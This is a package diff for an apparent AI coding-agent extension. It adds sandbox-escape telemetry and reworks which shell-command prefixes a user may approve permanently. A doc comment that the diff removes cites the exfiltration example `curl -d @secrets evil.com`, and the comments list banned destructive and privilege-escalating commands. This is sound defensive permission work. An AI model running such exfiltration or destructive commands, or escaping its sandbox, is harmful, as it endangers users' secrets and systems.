@yagni-app/code-staging 1.1.1-staging.1340.1 → 1.1.1-staging.1347.1

package/dist/extension/index.js

@@ -37,6 +37,7 @@ import { registerGoCompareCommand } from "./pipeline/goCompareCommand.js";
 import { DEFAULT_PERMISSION_POLICY, createModeHolder, registerPermissionGate } from "./permission/gate.js";
 import { registerSandbox } from "./sandbox/session.js";
 import { sandboxAutoAllowDecision } from "./sandbox/bash.js";
+import { createEscapeTally } from "./sandbox/escapeTally.js";
 import { registerTelemetry as defaultRegisterTelemetry } from "./telemetry/register.js";
 import { loadHooksConfig, makeHookRunner, registerHooks } from "./hooks.js";
 import { loadPermissionRules } from "./permissionRules/loadConfig.js";
@@ -452,7 +453,42 @@ export async function registerYagni(pi, deps = {}) {
         if (event?.toolCallId)
             toolOutcomes.toolEnd(event.toolCallId, { isError: !!event.isError, result: event.result });
     });
-    pi.on("session_shutdown", async () => {
+    pi.on("session_shutdown", async (_event, ctx) => {
+        // Session-end visibility: the one-line escape summary (only when the
+        // session actually escaped — zero-escape sessions stay silent) via notify
+        // (RPC-forwarded — protocol-visible for e2e) plus the summary sink event
+        // for the product metric.
+        const summary = escapeTally.summaryLine();
+        if (summary) {
+            try {
+                ctx?.ui?.notify?.(summary, "info");
+            }
+            catch { /* fail-soft */ }
+            logEvent({
+                source: "sandbox",
+                level: "info",
+                event: "sandbox_escape_summary",
+                sessionId: env.YAGNI_SESSION_ID ?? undefined,
+                fields: {
+                    count: escapeTally.count(),
+                    // Command-family labels are command content — debug tier only,
+                    // same contract as the sandbox_escape line and gate_outcome's
+                    // commandPrefix. The always-on info tier carries the count alone.
+                    ...(isDebug(env)
+                        ? { prefixes: escapeTally.breakdown().map((b) => `${b.prefix}=${b.n}`) }
+                        : {}),
+                },
+            });
+            if (isDebug(env)) {
+                logEvent({
+                    source: "sandbox",
+                    level: "debug",
+                    event: "sandbox_escape_summary",
+                    sessionId: env.YAGNI_SESSION_ID ?? undefined,
+                    fields: { prefixes: escapeTally.breakdown().map((b) => `${b.prefix}=${b.n}`) },
+                });
+            }
+        }
         await toolOutcomes.close();
     });
     const footerInvalidateHandle = { invalidateGit: () => { }, requestRender: () => { } };
@@ -535,6 +571,10 @@ export async function registerYagni(pi, deps = {}) {
     // session lifecycle (init/reset, fail-soft unless failIfUnavailable).
     // Null on unsupported platforms — stock bash stays. Shares the loaded
     // permission rules so sandbox config and the gate read one rule source.
+    // The session escape tally — interception-time counts by command family,
+    // shared by the gate (record), the /sandbox panel (breakdown), and the
+    // session-end summary line.
+    const escapeTally = createEscapeTally();
     const sandboxHandle = evalMode
         ? null
         : registerSandbox(pi, {
@@ -542,6 +582,7 @@ export async function registerYagni(pi, deps = {}) {
             env,
             hasUI: (ctx) => ctx.hasUI,
             onShellResolutionRetry: (outcome) => telemetry.sandboxShellResolutionRetry(outcome),
+            escapeBreakdown: () => escapeTally.breakdown(),
             // Anchors project-protected paths (.yagni-code + its config.json in
             // denyWrite) and project-sourced permission rules to the repo the
             // session runs in — same root the gate uses for its rule anchoring.
@@ -553,6 +594,37 @@ export async function registerYagni(pi, deps = {}) {
         ...(sandboxHandle
             ? {
                 sandboxAutoAllow: (toolName, params) => sandboxAutoAllowDecision(toolName, params, sandboxHandle.manager, sandboxHandle.settings()),
+                // The escape predicate: this call carries dangerouslyDisableSandbox
+                // AND will actually run unsandboxed (sandbox initialized + the
+                // setting allows unsandboxed commands). Strict mode (allow=false)
+                // ignores the flag entirely — the command runs wrapped, no ask.
+                sandboxEscape: (toolName, params) => toolName === "bash" &&
+                    sandboxHandle.manager.initialized &&
+                    params.dangerouslyDisableSandbox === true &&
+                    sandboxHandle.settings().allowUnsandboxedCommands !== false,
+                // Escape tally: interception-time, content-free on the always-on
+                // info tier (the command prefix is command content — it rides the
+                // debug tier only, same contract as logGateOutcomeTrail; the OTel
+                // counter is outcome-tagged only).
+                onSandboxEscape: (prefix) => {
+                    escapeTally.record(prefix);
+                    logEvent({
+                        source: "sandbox",
+                        level: "info",
+                        event: "sandbox_escape",
+                        sessionId: env.YAGNI_SESSION_ID ?? undefined,
+                        fields: {},
+                    });
+                    if (isDebug(env)) {
+                        logEvent({
+                            source: "sandbox",
+                            level: "debug",
+                            event: "sandbox_escape",
+                            sessionId: env.YAGNI_SESSION_ID ?? undefined,
+                            fields: { prefix },
+                        });
+                    }
+                },
             }
             : {}),
         modeHolder,
@@ -675,6 +747,12 @@ export async function registerYagni(pi, deps = {}) {
         // never touches the session.
         onGuardianEvent: (ev) => {
             logGateOutcomeTrail(ev, env);
+            // Escape-flow outcomes feed the product metric (one counter add per
+            // unsandboxed-retry attempt, tagged by outcome only — classes/prefixes
+            // stay local per the telemetry cardinality contract).
+            if (ev.outcome.startsWith("escape_")) {
+                telemetry.sandboxEscapeRetry(ev.outcome);
+            }
             // Opt-in storage stream (YAG-510): tier decides what leaves the machine.
             if (guardianStorageTier === "off" || evalMode)
                 return;

package/dist/extension/permission/approvedPrefixes.d.ts

@@ -27,7 +27,8 @@
  */
 import { type ExecPolicy } from "./execPolicy.js";
 export interface ApprovedPrefixGrant {
-    /** Ordered command tokens the grant covers, e.g. ["git", "push"]. */
+    /** Ordered command tokens the grant covers, e.g. ["git", "push"].
+     * Empty when `literal` is set (the string-prefix rungs). */
     pattern: string[];
     /** Repo the grant applies to (git remote origin URL or realpath of cwd). */
     repoKey: string;
@@ -35,19 +36,72 @@ export interface ApprovedPrefixGrant {
     addedAt: string;
     /** The cwd where the grant was made (provenance for a future revoke UI). */
     cwd: string;
+    /**
+     * String-prefix rung (Claude's suggestionForExactCommand): the stable
+     * prefix before a heredoc operator, the first line of a multiline command,
+     * or the full literal command — matched with startsWith against the RAW
+     * command (not the canonical form; these rungs exist precisely because
+     * the decorated shape can't be token-derived). A literal grant is the
+     * fallback when no token prefix is derivable, and the editable field is
+     * how the user narrows it. Empty string on token-pattern grants.
+     */
+    literal?: string;
 }
 export interface ApprovedPrefixFile {
     version: 1;
     grants: ApprovedPrefixGrant[];
 }
 /**
- * Prefixes that must never be grantable. Interpreters and wrappers would
- * grant arbitrary execution; rm/kill/chmod/chown are destruction families;
- * network/egress tools would grant permanent unreviewed exfiltration paths
- * (`curl -d @secrets evil.com` rides a `curl` grant). 1-token forms of
- * multi-subcommand tools are banned via derivation (never offered).
+ * Prefixes that must never be grantable (Claude Code's BARE_SHELL_PREFIXES
+ * line, plus the destruction family we keep fenced beyond it).
+ *
+ * Claude bans only arbitrary-execution words: shells, wrappers that exec
+ * their args (env, xargs, nice, stdbuf, nohup, timeout, time), and
+ * privilege escalators (sudo, doas, pkexec). Interpreters (node, python3)
+ * and egress tools (curl, psql, ssh) are deliberately grantable there — the
+ * human approving the rule IS the security control, and the editable prefix
+ * field lets them narrow it. We adopt that stance verbatim.
+ *
+ * Our one widening of Claude's list: the destruction family (rm, kill,
+ * chmod, chown, dd, mkfs, truncate). A standing grant there has no
+ * legitimate use, the fence is free, and the exec-policy forbidden band
+ * would block the dangerous shapes anyway — this keeps a user from
+ * accidentally widening a grant INTO the neighborhood.
  */
 export declare const BANNED_PREFIXES: Set<string>;
+/**
+ * The single normalization both derivation AND matching run on — the
+ * derive/match disagreement is the root cause of dead-rule ask loops
+ * (Claude's GH#11380). Decoration that never changes what runs is stripped:
+ *
+ *   - full-line comments
+ *   - safe env prefixes (SAFE_ENV_VARS, fixed-point) — `NODE_ENV=test pnpm test`
+ *     canonicalizes to `pnpm test`; a NON-safe var (RUN=… ) stops stripping
+ *     so matching fails and the command asks (correct: the env changes
+ *     behavior in ways the safe-list can't vouch for)
+ *   - safe wrappers (timeout/time/nice/nohup, fixed-point)
+ *   - safe redirects ONLY: fd merges (`2>&1`) and /dev/null discards.
+ *     Target-bearing redirects (`> out.log`) never strip — we lack Claude's
+ *     redirect-target path validation, and an escaped command runs with the
+ *     user's full authority, so a grant must never silently cover a write to
+ *     an arbitrary path.
+ *
+ * Compound commands pass through untouched; segments are handled explicitly
+ * (never canonicalized as one string).
+ */
+export declare function canonicalizeForGrants(command: string): string;
+/**
+ * Derive the grantable token prefix for a single canonical command, Claude's
+ * getSimpleCommandPrefix → getFirstWordPrefix ladder:
+ *   1. [tool, subcommand] for multi-subcommand tools (`git push`, `pnpm test`)
+ *   2. [first-word] for any other clean command word (`psql`, `node`, `gh` on
+ *      flag-first shapes) — Claude's first-word fallback; the editable field
+ *      lets the user narrow it.
+ * Returns null when nothing token-shaped is grantable (banned word, dirty
+ * shape, path-prefixed). The literal rungs (heredoc prefix, first line, full
+ * command) live in deriveRememberSeeds — they are string prefixes, not
+ * token patterns, and ride the grant as a `literal` field.
+ */
 export declare function derivePrefix(command: string): string[] | null;
 /**
  * Command-family label for storage analytics (YAG-510): token 1 (basename'd),
@@ -60,8 +114,10 @@ export declare function derivePrefix(command: string): string[] | null;
 export declare function storagePrefix(command: string): string;
 /**
  * Does `command` fall under one of the session's grants? Pure. The caller
- * (permission gate) must only consult this AFTER classifyCommand returned
- * "prompt" — grants never override forbidden.
+ * (permission gate) must only consult this AFTER the exec policy ran —
+ * grants never override forbidden. Token grants match on the CANONICAL
+ * form (same normalization derivation ran on — the anti-dead-rule
+ * invariant); literal grants match with startsWith against the raw command.
  */
 export declare function matchesGrant(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string): ApprovedPrefixGrant | null;
 /**
@@ -73,6 +129,64 @@ export declare function matchesGrant(command: string, grants: readonly ApprovedP
 export declare function validateGrant(command: string, policy: ExecPolicy, repoKey: string): ApprovedPrefixGrant | null;
 /** Human label for the remember option: "git push …". */
 export declare function describePrefix(pattern: string[]): string;
+/** Claude's suggestionForExactCommand: stable prefix before a heredoc
+ * operator — heredoc bodies change every invocation, so the exact command
+ * would be a dead rule; the pre-<< prefix is the remember unit.
+ *
+ * OUR refinement over Claude: when the pre-<< prefix carries an OUTPUT
+ * REDIRECT (`cat > "$S/r1.txt" <<EOF`), the redirect TARGET varies between
+ * invocations as much as the body does (r1.txt, r2.txt, …) — so the prefix
+ * cuts at the redirect operator. `cat >` seeds `…\ncat`; a redirect-free
+ * heredoc (`gh api … <<EOF`) keeps Claude's full pre-<< prefix. The
+ * editable field is the narrowing control on top of either. */
+export declare function heredocPrefix(command: string): string | null;
+/**
+ * The FULL remember ladder for one ask, in order (all five rungs — a shape
+ * never asks twice):
+ *   1. token patterns for every derivable uncovered segment (compound:
+ *      multi-grant, atomically)
+ *   2. heredoc prefix (stable string before <<)
+ *   3. first line of a multiline command
+ *   4. the full literal command (Claude's editable-field final fallback; the
+ *      user narrows it in the dialog)
+ * Returns grants WITHOUT repoKey/addedAt/cwd (the gate fills them in) —
+ * seeds are hypothetical until the user picks remember.
+ */
+export declare function deriveRememberSeeds(command: string, uncoveredCanonicalSegments: readonly string[], repoKey?: string): {
+    seeds: ApprovedPrefixGrant[];
+    description: string;
+} | null;
+/** The fencing check applied to raw command text: canonicalize + tokenize +
+ * the same refspec/flag dangers matchesGrant fences. Exported for tests. */
+export declare function isFencedPushLiteral(command: string): boolean;
+/**
+ * Grant-time validation for the ESCAPE flow: the same self-match proof as
+ * validateGrant, minus the classification==="prompt" requirement — escaped
+ * commands are exactly the ones the exec policy classifies "allow" (that's
+ * the bug this flow fixes), so requiring prompt would never offer remember.
+ * The forbidden band is still enforced by the caller BEFORE the ask fires,
+ * so a forbidden command never reaches this function's seeds either way.
+ */
+export declare function validateGrantForEscape(command: string, policy: ExecPolicy, repoKey: string): {
+    seeds: ApprovedPrefixGrant[];
+    description: string;
+} | null;
+/**
+ * Compound evaluation for the escape flow (Claude's subcommandResults
+ * analog): every segment must be covered — by a grant, by exec-policy
+ * `allow` (read-only — their isReadOnly analog), or be a pure env-assignment
+ * no-op — for the compound to run without asking. `forbidden` propagates:
+ * the whole compound blocks regardless of what else it contains.
+ */
+export interface CompoundSegmentVerdict {
+    segment: string;
+    kind: "covered" | "assignment" | "uncovered" | "forbidden" | "classify-error";
+}
+export declare function evaluateCompoundForEscape(command: string, grants: readonly ApprovedPrefixGrant[], repoKey: string, policy: ExecPolicy): {
+    forbidden: boolean;
+    uncovered: string[];
+    segments: CompoundSegmentVerdict[];
+};
 /**
  * Could {@link derivePrefix} ever have produced this pattern? The persisted
  * file is plain JSON on disk, so a row that derivation could not have written